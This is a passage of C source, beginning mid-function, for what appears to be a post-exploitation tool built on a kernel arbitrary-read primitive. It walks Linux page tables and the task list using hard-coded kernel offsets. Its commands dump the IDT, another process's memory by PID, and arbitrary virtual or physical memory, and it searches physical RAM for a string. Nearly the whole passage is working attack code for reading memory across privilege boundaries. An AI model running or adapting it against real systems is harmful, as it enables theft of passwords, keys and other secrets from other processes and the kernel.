    			phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) +
    					(addr & ~HUGE_PAGE_MASK);
    			pmd_e->entries[index].phys = phys_a;
    			pmd_e->entries[index].huge = true;
    		} else {
    			unsigned long pte_a =
    				ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK);
    			pte_e = ptsc_alloc_pte_entry(pte_a);
    			pmd_e->entries[index].pte = pte_e;
    			pmd_e->entries[index].huge = false;
    		}
    	}
    
    	if (pmd_e->entries[index].huge) {
    		debug1(" phy: %016lx (huge)\n", phys_a);
    		return pmd_e->entries[index].phys;
    	}
    
    	pte_e = pmd_e->entries[index].pte;
    
    	index = pte_index(addr);
    	debug1(" pte: %016lx, index: %d\n", pte_e->addr, index);
    	if (!pte_e->entries[index]) {
    		unsigned long pte_v = read_8(
    			pte_e->addr + index * sizeof(unsigned long));
    		debug1(" -> %016lx\n", pte_v);
    		if (pte_none(pte_v)) {
    			debug1(" not found, pte is none\n");
    			return 0;
    		}
    		if (!pte_present(pte_v)) {
    			debug1(" not found, pte is not present\n");
    			return 0;
    		}
    		phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) +
    				(addr & ~PAGE_MASK);
    		pte_e->entries[index] = phys_a;
    	}
    	phys_a = pte_e->entries[index];
    
    	return phys_a;
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) {
    	unsigned long cur_task = init_task;
    	
    	while (true) {
    		unsigned cur_pid =
    			read_field_4(cur_task, O_TASK_STRUCT_PID);
    		if (cur_pid == pid)
    			return cur_task;
    		unsigned long task_next_ptr =
    			read_field_8(cur_task, O_TASK_STRUCT_TASKS);
    		cur_task = task_next_ptr - O_TASK_STRUCT_TASKS;
    		if (cur_task == init_task)
    			return 0;
    	}
    }
    
    #define MAX_MMAPS_PER_TASK 512
    
    struct mmap_entry {
    	unsigned long start;
    	unsigned long end;
    	unsigned flags;
    };
    
    typedef void (*mmap_callback)(struct mmap_entry *entry, void *private);
    
    static void for_each_mmap_from(unsigned long mmap, mmap_callback callback,
    				void *private) {
    	struct mmap_entry entries[MAX_MMAPS_PER_TASK];
    	int i, count;
    
    	count = 0;
    	while (mmap != 0) {
    		assert(count < MAX_MMAPS_PER_TASK);
    		unsigned long vm_start =
    			read_field_8(mmap, O_VM_AREA_STRUCT_VM_START);
    		unsigned long vm_end =
    			read_field_8(mmap, O_VM_AREA_STRUCT_VM_END);
    		if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) {
    			info("[-] bad mmap (did the task die?)\n");
    			exit(EXIT_FAILURE);
    		}
    		unsigned vm_flags =
    			read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS);
    		entries[count].start = vm_start;
    		entries[count].end = vm_end;
    		entries[count].flags = vm_flags;
    		count++;
    		mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT);
    	}
    
    	for (i = 0; i < count; i++)
    		callback(&entries[i], private);
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    static unsigned long g_kernel_text = 0;
    static unsigned long g_physmap = 0;
    
    static struct ptsc g_ptsc;
    
    static void physmap_init() {
    	unsigned long divide_error = read_idt_gate(0);
    	info("[.] divide_error: %016lx\n", divide_error);
    
    	g_kernel_text = divide_error - O_DIVIDE_ERROR;
    	info("[.] kernel text:%016lx\n", g_kernel_text);
    
    	if (O_PAGE_OFFSET_BASE) {
    		unsigned long page_offset_base =
    			g_kernel_text + O_PAGE_OFFSET_BASE;
    		info("[.] page_offset_base: %016lx\n", page_offset_base);
    
    		g_physmap = read_8(page_offset_base);
    		info("[.] physmap:%016lx\n", g_physmap);
    		if (g_physmap < PAGE_OFFSET_BASE) {
    			info("[-] physmap sanity check failed "
    					"(wrong offset?)\n");
    			exit(EXIT_FAILURE);
    		}
    	} else {
    		g_physmap = PAGE_OFFSET_BASE;
    		info("[.] physmap:%016lx\n", g_physmap);
    	}
    }
    
    static unsigned long g_mmap = 0;
    
    static void pts_init(int pid) {
    	unsigned long mm;
    
    	if (pid != 0) {
    		unsigned long init_task = g_kernel_text + O_INIT_TASK;
    		info("[.] init_task:%016lx\n", init_task);
    
    		unsigned long task = find_task_by_pid(init_task, pid);
    		info("[.] task: %016lx\n", task);
    		if (task == 0) {
    			info("[-] task %d not found\n", pid);
    			exit(EXIT_FAILURE);
    		} else if (task < PAGE_OFFSET_BASE) {
    			info("[-] task sanity check failed (wrong offset?)\n");
    			exit(EXIT_FAILURE);
    		}
    
    		mm = read_field_8(task, O_TASK_STRUCT_MM);
    		info("[.] task->mm: %016lx\n", mm);
    		if (mm == 0) {
    			info("[-] mm not found (kernel task?)\n");
    			exit(EXIT_FAILURE);
    		} else if (mm < PAGE_OFFSET_BASE) {
    			info("[-] mm sanity check failed (wrong offset?)\n");
    			exit(EXIT_FAILURE);
    		}
    
    		g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP);
    		info("[.] task->mm->mmap: %016lx\n", g_mmap);
    		if (g_mmap < PAGE_OFFSET_BASE) {
    			info("[-] mmap sanity check failed (wrong offset?)\n");
    			exit(EXIT_FAILURE);
    		}
    	} else {
    		mm = g_kernel_text + O_INIT_MM;
    	}
    
    	unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD);
    	info("[.] task->mm->pgd:%016lx\n", pgd);
    	if (pgd < PAGE_OFFSET_BASE) {
    		info("[-] pgd sanity check failed (wrong offset?)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	ptsc_init(&g_ptsc, g_physmap, pgd);
    }
    
    static unsigned long page_virt_to_phys(unsigned long addr) {
    	unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
    	assert(paddr != 0);
    	return paddr - g_physmap;
    }
    
    static bool page_check_virt(unsigned long addr) {
    	unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
    	return paddr != 0;
    }
    
    static bool page_check_phys(unsigned long offset) {
    	return page_check_virt(g_physmap + offset);
    }
    
    static void phys_read_range(unsigned long offset, size_t length, char *buffer) {
    	read_range(g_physmap + offset, length, buffer);
    }
    
    static void for_each_mmap(mmap_callback callback, void *private) {
    	for_each_mmap_from(g_mmap, callback, private);
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    static int create_file(const char *path) {
    	int fd = open(path, O_RDWR | O_CREAT, 0644);
    	if (fd < 0) {
    		perror("[-] open()");
    		exit(EXIT_FAILURE);
    	}
    	return fd;
    }
    
    static int open_dir(const char *path) {
    	int fd = open(path, O_DIRECTORY | O_PATH);
    	if (fd < 0) {
    		perror("[-] open()");
    		exit(EXIT_FAILURE);
    	}
    	return fd;
    }
    
    static int create_file_in_dir(int dirfd, const char *name) {
    	int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644);
    	if (fd < 0) {
    		perror("[-] openat()");
    		exit(EXIT_FAILURE);
    	}
    	return fd;
    }
    
    static void write_file(int fd, char *buffer, size_t length) {
    	int rv = write(fd, buffer, length);
    	if (rv != length) {
    		perror("[-] write()");
    		exit(EXIT_FAILURE);
    	}
    }
    
    static void write_bytes(int fd, unsigned long src_addr,
    			char *buffer, size_t length) {
    	if (fd < 0)
    		print_bytes(LOG_INFO, src_addr, buffer, length);
    	else
    		write_file(fd, buffer, length);
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    void read_virt_memory(unsigned long addr, size_t length, int fd) {
    	char buffer[PAGE_SIZE];
    	char empty[PAGE_SIZE];
    
    	debug1("read_virt_memory: addr = %016lx, length = %016lx\n",
    			addr, length);
    
    	memset(&empty[0], 0, sizeof(empty));
    
    	size_t total_read = 0;
    	while (total_read < length) {
    		unsigned long current = addr + total_read;
    		size_t to_read = PAGE_SIZE;
    		if (current % PAGE_SIZE != 0)
    			to_read = PAGE_SIZE - current % PAGE_SIZE;
    		to_read = min(to_read, length - total_read);
    		if (page_check_virt(addr + total_read)) {
    			read_range(addr + total_read, to_read, &buffer[0]);
    			write_bytes(fd, addr + total_read, &buffer[0], to_read);
    		} else {
    			write_bytes(fd, addr + total_read, &empty[0], to_read);
    		}
    		total_read += to_read;
    	}
    }
    
    void read_phys_memory(unsigned long src_addr, unsigned long offset,
    			size_t length, int fd) {
    	char buffer[PAGE_SIZE];
    	char empty[PAGE_SIZE];
    
    	debug1("read_phys_memory: offset = %016lx, length = %016lx\n",
    			offset, length);
    
    	memset(&empty[0], 0, sizeof(empty));
    
    	size_t total_read = 0;
    	while (total_read < length) {
    		unsigned long current = offset + total_read;
    		size_t to_read = PAGE_SIZE;
    		if (current % PAGE_SIZE != 0)
    			to_read = PAGE_SIZE - current % PAGE_SIZE;
    		to_read = min(to_read, length - total_read);
    		if (page_check_phys(offset + total_read)) {
    			phys_read_range(offset + total_read, to_read,
    						&buffer[0]);
    			write_bytes(fd, src_addr + offset + total_read,
    					&buffer[0], to_read);
    		} else {
    			write_bytes(fd, src_addr + offset + total_read,
    					&empty[0], to_read);
    		}
    		total_read += to_read;
    	}
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define VM_READ		0x00000001
    #define VM_WRITE	0x00000002
    #define VM_EXEC		0x00000004
    
    static void print_mmap(unsigned long start, unsigned long end, unsigned flags) {
    	info("[%016lx, %016lx)%s%s%s\n",
    		start, end,
    		(flags & VM_READ)? "r" : "-",
    		(flags & VM_WRITE) ? "w" : "-",
    		(flags & VM_EXEC)? "x" : "-");
    }
    
    static void name_mmap(unsigned long start, unsigned long end, unsigned flags,
    			char *buffer, size_t length) {
    	snprintf(buffer, length, "%016lx_%016lx_%s%s%s",
    		start, end,
    		(flags & VM_READ)? "r" : "-",
    		(flags & VM_WRITE) ? "w" : "-",
    		(flags & VM_EXEC)? "x" : "-");
    }
    
    static void save_mmap(struct mmap_entry *entry, void *private) {
    	int dirfd = (int)(unsigned long)private;
    	unsigned long length;
    	char name[128];
    	char empty[PAGE_SIZE];
    
    	assert(entry->start % PAGE_SIZE == 0);
    	assert(entry->end % PAGE_SIZE == 0);
    
    	memset(&empty, 0, sizeof(empty));
    	length = entry->end - entry->start;
    
    	print_mmap(entry->start, entry->end, entry->flags);
    	name_mmap(entry->start, entry->end, entry->flags,
    			&name[0], sizeof(name));
    	int fd = create_file_in_dir(dirfd, &name[0]);
    
    	size_t total_read = 0;
    	while (total_read < length) {
    		if (page_check_virt(entry->start + total_read)) {
    			unsigned long offset = page_virt_to_phys(
    				entry->start + total_read);
    			read_phys_memory(entry->start + total_read, offset,
    						PAGE_SIZE, fd);
    		} else {
    			write_bytes(fd, entry->start + total_read,
    					&empty[0], PAGE_SIZE);
    		}
    		total_read += PAGE_SIZE;
    	}
    
    	close(fd);
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    unsigned long get_phys_size() {
    	struct sysinfo info;
    	int rv = sysinfo(&info);
    	if (rv != 0) {
    		perror("sysinfo()");
    		return EXIT_FAILURE;
    	}
    	debug1("phys size: %016lx\n", info.totalram);
    	return info.totalram;
    }
    
    void phys_search(unsigned long start, unsigned long end, char *needle) {
    	char buffer[PAGE_SIZE];
    	int length = strlen(needle);
    
    	assert(length <= PAGE_SIZE);
    
    	unsigned long offset;
    	for (offset = start; offset < end; offset += PAGE_SIZE) {
    		if (offset % (32ul << 20) == 0)
    			info("[.] now at %016lx\n", offset);
    		if (!page_check_phys(offset))
    			continue;
    		phys_read_range(offset, length,	&buffer[0]);
    		if (memcmp(&buffer[0], needle, length) != 0)
    			continue;
    		info("[+] found at %016lx\n", offset);
    		return;
    	}
    	info("[-] not found\n");
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define CMD_IDT		1
    #define CMD_PID		2
    #define CMD_VIRT	3
    #define CMD_PHYS	4
    #define CMD_SEARCH	5
    
    int g_cmd = 0;
    
    static unsigned g_num = 1;
    static unsigned g_pid = 0;
    static unsigned long g_addr = 0;
    static unsigned long g_length = 0;
    static unsigned long g_offset = 0;
    static const char *g_dir = NULL;
    static const char *g_file = NULL;
    static char *g_string = NULL;
    
    static void print_usage(const char* name) {
    	info("Usage: \n");
    	info(" %s idt [NUM] "
    			"dump IDT entries\n", name);
    	info(" %s pid PID DIR "
    			"dump process memory\n", name);
    	info(" %s virt ADDR LENGTH [FILE] "
    			"dump virtual memory\n", name);
    	info(" %s phys OFFSET LENGTH [FILE] "
    			"dump physical memory\n", name);
    	info(" %s search STRING [OFFSET [LENGTH]] "
    			"search start of each physical page\n", name);
    	info("\n");
    	info(" NUM, PID - decimals\n");
    	info(" ADDR, LENGTH, OFFSET - hex\n");
    	info(" DIR, FILE, STRING - strings\n");
    }
    
    static bool parse_u(char *s, int base, unsigned *out) {
    	int length = strlen(s);
    	char *endptr = NULL;
    	unsigned long result = strtoul(s, &endptr, base);
    	if (endptr != s + length)
    		return false;
    	*out = result;
    	return true;
    }
    
    static bool parse_ul(char *s, int base, unsigned long *out) {
    	int length = strlen(s);
    	char *endptr = NULL;
    	unsigned long result = strtoul(s, &endptr, base);
    	if (endptr != s + length)
    		return false;
    	*out = result;
    	return true;
    }
    
    static int parse_cmd(const char *cmd) {
    	if (strcmp(cmd, "idt") == 0)
    		return CMD_IDT;
    	if (strcmp(cmd, "pid") == 0)
    		return CMD_PID;
    	if (strcmp(cmd, "virt") == 0)
    		return CMD_VIRT;
    	if (strcmp(cmd, "phys") == 0)
    		return CMD_PHYS;
    	if (strcmp(cmd, "search") == 0)
    		return CMD_SEARCH;
    	return 0;
    }
    
    static bool parse_args(int argc, char **argv) {
    	if (argc < 2)
    		return false;
    
    	g_cmd = parse_cmd(argv[1]);
    
    	switch (g_cmd) {
    	case CMD_IDT:
    		if (argc > 3)
    			return false;
    		if (argc >= 3 && !parse_u(argv[2], 10, &g_num))
    			return false;
    		return true;
    	case CMD_PID:
    		if (argc != 4)
    			return false;
    		if (!parse_u(argv[2], 10, &g_pid))
    			return false;
    		if (g_pid <= 0)
    			return false;
    		g_dir = argv[3];	
    		debug1("CMD_PID %u %s\n", g_pid, g_dir);
    		return true;
    	case CMD_VIRT:
    		if (argc < 4 || argc > 5)
    			return false;
    		if (!parse_ul(argv[2], 16, &g_addr))
    			return false;
    		if (!parse_ul(argv[3], 16, &g_length))
    			return false;
    		if (argc == 5)
    			g_file = argv[4];
    		debug1("CMD_VIRT %016lx %016lx %s\n", g_addr,
    				g_length, g_file ? g_file : "NULL");
    		return true;
    	case CMD_PHYS:
    		if (argc < 4 || argc > 5)
    			return false;
    		if (!parse_ul(argv[2], 16, &g_offset))
    			return false;
    		if (!parse_ul(argv[3], 16, &g_length))
    			return false;
    		if (argc == 5)
    			g_file = argv[4];
    		debug1("CMD_PHYS %016lx %016lx %s\n", g_offset,
    				g_length, g_file ? g_file : "NULL");
    		return true;
    	case CMD_SEARCH:
    		if (argc < 3 || argc > 5)
    			return false;
    		g_string = argv[2];
    		if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset))
    			return false;
    		if (argc >= 5 && !parse_ul(argv[4], 16, &g_length))
    			return false;
    		debug1("CMD_SEARCH <%s> %016lx %016lx\n",
    				g_string, g_offset, g_length);
    		return true;
    	default:
    		return false;
    	}
    
    	return true;
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    void handle_cmd_idt() {
    	info("[.] dumping IDT\n");
    	print_idt(g_num);
    	info("[+] done\n");
    }
    
    void handle_cmd_virt() {
    	int fd = -1;
    	info("[.] dumping virtual memory [%016lx, %016lx):\n",
    		g_addr, g_addr + g_length);
    	if (g_file != NULL)
    		fd = create_file(g_file);
    	read_virt_memory(g_addr, g_length, fd);
    	if (fd != -1)
    		close(fd);
    	info("[+] done\n");
    }
    
    void handle_cmd_phys() {
    	int fd = -1;
    	info("[.] dumping physical memory [%016lx, %016lx):\n",
    		g_offset, g_offset + g_length);
    	if (g_file != NULL)
    		fd = create_file(g_file);
    	read_phys_memory(0, g_offset, g_length, fd);
    	if (fd != -1)
    		close(fd);
    	info("[+] done\n");
    }
    
    void handle_cmd_pid() {
    	info("[.] dumping mmaps for %u:\n", g_pid);
    	int dirfd = open_dir(g_dir);
    	for_each_mmap(save_mmap, (void *)(unsigned long)dirfd);
    	close(dirfd);
    	info("[+] done\n");
    }
    
    void handle_cmd_search() {
    	unsigned long start = g_offset ? g_offset : 0;
    	unsigned long end = g_length ? (start + g_length) : get_phys_size();
    	info("[.] searching [%016lx, %016lx) for '%s':\n",
    			start, end, g_string);
    	phys_search(start, end, g_string);
    	info("[+] done\n");
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    int main(int argc, char **argv) {
    	assert(getpagesize() == PAGE_SIZE);
    
    	if (!parse_args(argc, argv)) {
    		print_usage(argv[0]);
    		exit(EXIT_FAILURE);
    	}
    
    	arbitrary_read_init();
    
    	if (g_cmd == CMD_IDT) {
    		handle_cmd_idt();
    		return EXIT_SUCCESS;
    	}
    
    	physmap_init();
    
    	switch (g_cmd) {
    	case CMD_VIRT:
    		pts_init(getpid());
    		handle_cmd_virt();
    		break;
    	case CMD_PHYS:
    		pts_init(0);
    		handle_cmd_phys();
    		break;
    	case CMD_SEARCH:
    		pts_init(0);
    		handle_cmd_search();
    		break;
    	case CMD_PID:
    		pts_init(g_pid);
    		handle_cmd_pid();
    		break;
    	}
    
    	return EXIT_SUCCESS;
    }